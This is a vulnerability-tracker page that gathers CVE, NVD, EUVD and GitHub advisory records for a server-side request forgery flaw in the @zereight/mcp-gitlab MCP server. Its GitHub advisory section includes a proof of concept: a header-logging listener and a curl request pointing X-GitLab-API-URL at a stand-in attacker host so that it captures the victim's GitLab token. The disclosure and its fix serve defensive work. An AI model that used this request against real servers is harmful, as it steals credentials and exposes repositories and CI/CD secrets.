Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 03:25 UTC Customize Public modeDiscuss ChangeIntel on Discord

@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-61559

Published

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

Source published
15 Sep 2026 20:58:41 UTC
Source modified
17 Sep 2026 16:50:15 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

euvd · EUVD-2026-80004

Published

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 15, 2026, 8:58:41 PM

dateUpdated: Sep 17, 2026, 4:50:15 PM

Source published
Sep 15, 2026, 8:58:41 PM (timezone not stated)
Source modified
Sep 17, 2026, 4:50:15 PM (timezone not stated)
Observed here
11 Nov 2026 15:02:42 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

nvd · CVE-2026-61559

Published

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-09-15T21:16:41.390

lastModified: 2026-09-30T17:51:56.193

Source published
15 Sep 2026 21:16:41 UTC
Source modified
30 Sep 2026 17:51:56 UTC
Observed here
25 Oct 2026 14:19:22 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

osv · GHSA-2h44-8472-frjj

Published

# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft ## Affected - **Repository:** `zereight/gitlab-mcp` - **Affected versions:** All versions through commit `74a8c83` - **Patched versions:** None at time of report ## Severity High. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`) ## Description When the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. The vulnerable code appears at two locations. **SSE handler (`index.ts:11541`):** ```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check } ``` **Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:** ```typescript const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { new URL(dynamicApiUrl); // syntax-only check apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted } ``` In both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into `getFetchConfig()`, which attaches `Private-Token: <victim_token>` to every outbound fetch. The token reaches the attacker's host, not GitLab. ## Proof of Concept Run upstream `zereight/gitlab-mcp` at commit `74a8c83` with `ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`. ```bash # 1. Start a listener on the attacker host (port 9099) # Any HTTP server that logs incoming headers will work. python3 -c " import http.server, sys class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print('HEADERS:', dict(self.headers)) self.send_response(200); self.end_headers() http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever() " # 2. Send any MCP tool call with the malicious header curl -X POST http://TARGET:3002/mcp \ -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \ -H "Authorization: Bearer ANY_VALID_TOKEN" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}' ``` The listener receives: ``` GET /api/v4/projects/1/issues HTTP/1.1 private-token: <VICTIM_GITLAB_TOKEN> Host: ATTACKER:9099 ``` The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it. ## Impact The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables. CVSS factors: - `PR:L`: reaching the HTTP transport requires presenting some auth token - `S:C`: the attack crosses the boundary into GitLab (a separate security domain) - `C:H`: victim's GitLab token stolen in one request; full read of all scoped data - `I:H`: attacker can push code and modify pipelines with the stolen token - `A:N`: the MCP server continues operating normally ## Why This Is a Vulnerability, Not Intended Behavior `ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes `X-GitLab-API-URL` can redirect the server's credential-carrying outbound calls to any reachable host with no restriction. PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify `parseAuthHeaders`, does not validate `X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime. The SSRF sink at `index.ts:11787` is unchanged in the current code and fully reachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`). ## Remediation Validate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab hostnames before assigning the value to `apiUrl`. Reject any request whose `X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both `index.ts:11541` and `index.ts:11787`. Example fix for the Streamable HTTP handler: ```typescript const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "") .split(",").map(h => h.trim()).filter(Boolean); const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim(); if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) { const parsed = new URL(dynamicApiUrl); if (!ALLOWED_HOSTS.includes(parsed.hostname)) { throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`); } apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); } ``` Document `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`. If maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by default and document the token-forwarding risk prominently. ## Credit Reported via GitHub Security Advisory on 2026-06-07.

Source published
15 Sep 2026 20:57:28 UTC
Source modified
15 Sep 2026 21:15:06 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 03:25 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current